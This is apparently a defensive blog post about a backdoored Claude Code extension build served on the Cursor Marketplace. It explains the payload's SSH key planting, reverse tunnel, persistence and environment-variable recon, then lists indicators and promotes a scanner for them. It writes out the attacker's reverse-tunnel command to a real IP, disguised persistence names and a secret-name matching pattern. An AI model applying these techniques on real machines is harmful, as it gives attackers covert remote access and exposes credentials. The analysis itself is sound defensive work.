On 2026-10-30, security firm Phorion disclosed that the official Claude Code extension for VS Code, version 2.1.313, had been backdoored. Not on Anthropic’s own registry, on the Cursor Marketplace, which served the compromised bundle under the extension’s real name and publisher. Cursor removed the release from its marketplace along with the matching npm and VSCode packages for 2.1.313. The payload planted an SSH key, opened a reverse tunnel home, and set up persistence across macOS, Linux, and Windows. I wrote extension-supply-chain-scan to check for the documented indicators, and this post walks through what shipped and why “Anthropic got hacked” is the wrong headline for it.
What the backdoored extension actually did
Direct answer: it ran before you touched anything, planted a key that let an attacker log back in through your own SSH daemon, and quietly beaconed basic recon home.
Phorion’s technical writeup traces an injected immediately-invoked function prepended to the minified extension.js bundle. The rest of the file looks like the real extension: normal activate/deactivate exports, the expected UI code. The injected prefix pulls in child_process, fs, os, path, http, and crypto, and runs the moment Node loads the file, before the extension’s own activate callback fires. Nobody has to open a command palette or trust a prompt. Loading the extension is enough.
From there the chain runs in three stages:
- Plant SSH access. The script appends an attacker-controlled Ed25519 public key, commented
svc-telemetry, to~/.ssh/authorized_keys, then tries to turn on the local SSH daemon (systemctl/serviceon Linux,systemsetupon macOS, PowerShell’s OpenSSH Server on Windows). - Open a reverse tunnel. It connects outbound to
134.209.82.225withssh -R *:0:localhost:22, authenticating with a second embedded key (svc-telemetry-tun). The attacker’s server dynamically allocates a port that forwards back to port 22 on the victim machine. When the operator wants in, they SSH to that allocated port on their own server and log into the victim using the key planted in step 1. Because the session arrives through the local port forward, it shows up in the victim’s own SSH logs as a login fromlocalhost. - Install persistence. macOS gets a LaunchAgent disguised as
com.apple.sysmond.plist; Linux gets an@rebootcron entry; Windows gets a scheduled task namedSysMonor, if that fails, a Startup-folder script. All three relaunch the same reconnection loop if the host reboots or the IDE closes.
It finishes with a single recon beacon over plain HTTP: hostname, username, OS, public IP, and the names (not values) of up to 40 environment variables matching KEY|TOKEN|SECRET|PASS|AWS|GCP. That last detail matters for remediation: the malware never stole a credential value directly, it inventoried which ones exist on the box so an operator knows where to look next.
The bug that limited this on macOS
Phorion also found an implementation mistake worth knowing about if you’re trying to gauge your own exposure. The macOS branch checks whether Remote Login is already on by running systemsetup -getremotelogin without elevation, then only tries to enable it if the output matches /Off/i. Run that command as a standard user and macOS doesn’t say “Off”. It prints You need administrator access to run this tool... exiting! and exits with status 0. The malware’s helper function captures that string as the result, the regex fails to match, and the script treats “I don’t have permission to check” as “already on.” On a Mac where Remote Login was never enabled, the enable step silently never runs, which breaks the inbound leg of the tunnel even though the keys and persistence still get dropped.
It is not a defense to rely on. If Remote Login was already on, or gets turned on later for any reason, the backdoor is ready and waiting with no further action from the attacker.
Why this isn’t “Anthropic got hacked”
The HN thread that surfaced this ran hot partly because people reflexively framed it as a hack of Anthropic itself. That’s the wrong trust boundary. Phorion’s writeup describes a compromise of the Cursor Marketplace’s distribution of the bundle, not of Anthropic’s source repository or release pipeline. The extension’s code, publisher identity, and everything else about it looked legitimate; what got swapped was the artifact a third-party marketplace served under that name.
That distinction changes what the fix looks like. An IDE extension runs with the full permissions of the IDE and the user running it. It doesn’t need a privilege escalation exploit, and in most developer setups nobody pins the extension to a specific version or checks a signature before it auto-updates. The compromise happened in the marketplace’s distribution of the bundle, not in Anthropic’s code. The same was true a week earlier when LiteLLM 1.107.0 got backdoored on PyPI: the project’s own release pipeline worked as intended, and the registry serving its output was the part nobody was watching.
If you run agent tooling, the practical takeaway isn’t “don’t use Claude Code” or “don’t use Cursor.” It’s that the editor plugin you update on autopilot is exactly as much of a supply-chain attack surface as any registry or package feed you’d actually put behind scoped credentials and egress controls, and right now almost nobody treats it that way.
Detecting it
Phorion’s indicators, straight from the published writeup:
| Artifact | Platform | What it tells you |
|---|---|---|
anthropic.claude-code-2.1.313-* under .vscode/extensions or .cursor/extensions | All | The recalled version is or was installed |
svc-telemetry comment in ~/.ssh/authorized_keys | All | The attacker’s login key was planted |
<TMPDIR>/.stk_<10 hex chars> | All | The tunnel’s private key, named with the first 10 hex characters of MD5(hostname + HOME) |
~/.config/.smt, ~/.config/.smtk | macOS, Linux | Persistence script and recreated tunnel key |
~/Library/LaunchAgents/com.apple.sysmond.plist | macOS | Disguised LaunchAgent |
@reboot cron entry referencing .smt | Linux | Crontab persistence |
Scheduled task SysMon, or ...\Startup\sysmon.cmd | Windows | Scheduled-task or Startup-folder persistence |
Because the malware writes authorized_keys directly with Node’s fs.appendFileSync instead of shelling out to echo or tee, process-monitoring rules that only watch for shell commands touching that file won’t catch it. File-modification telemetry on the IDE’s extension host process is what actually sees this.
Checking for it yourself
extension-supply-chain-scan is a single stdlib Python file, no dependencies, no network calls, that checks for every artifact in the table above plus a SHA-256 check of extension.js against the published backdoored-bundle hash when the file is present:
git clone https://github.com/themsquared/extension-supply-chain-scan.git
cd extension-supply-chain-scan
./scripts/demo.sh
The demo script runs the scanner against a clean fixture home (exit 0), a fixture home with the documented artifacts planted using inert stub files (exit 2), and then your actual machine for real:
=== 2. Scanning a fixture home with the documented IOCs planted ===
[CRITICAL] recalled extension version installed: fixtures/compromised_home/.vscode/extensions/anthropic.claude-code-2.1.313-darwin-arm64
[CRITICAL] planted SSH key comment 'svc-telemetry' present: fixtures/compromised_home/.ssh/authorized_keys
[CRITICAL] tunnel private key artifact present: fixtures/compromised_tmp/.stk_deadbeef01
[CRITICAL] persistence artifact present: fixtures/compromised_home/.config/.smt
[CRITICAL] persistence artifact present: fixtures/compromised_home/.config/.smtk
[CRITICAL] disguised LaunchAgent present: fixtures/compromised_home/Library/LaunchAgents/com.apple.sysmond.plist
COMPROMISED: treat this host as breached. Do not clean in place.
exit code: 2
Run it directly against your own home and temp directories:
python3 scan.py
It is a point-in-time filesystem check, not an EDR agent. It won’t catch a renamed variant and it can’t see an active tunnel on the wire. If it reports CRITICAL, don’t clean in place: kill the tunnel process, remove the key and persistence artifacts, and rotate every credential the affected account could reach, starting with whatever matches KEY|TOKEN|SECRET|PASS|AWS|GCP, since that’s exactly what the recon beacon went looking for.
What to take from this
Marketplace compromises like this one and the LiteLLM PyPI backdoor the week before share a pattern: the vendor’s own code and pipeline were fine, and the thing that actually reached the developer’s machine wasn’t. Scoped credentials and egress controls are the usual advice for the AI agents and gateways your production traffic runs through. The same reasoning applies one layer down, to the editor extensions and CLI tools a developer updates without a second thought, because that’s where this one landed and that’s where the SSH key ended up.
Full indicators and sources are in Phorion’s original writeup. The scanner is at themsquared/extension-supply-chain-scan.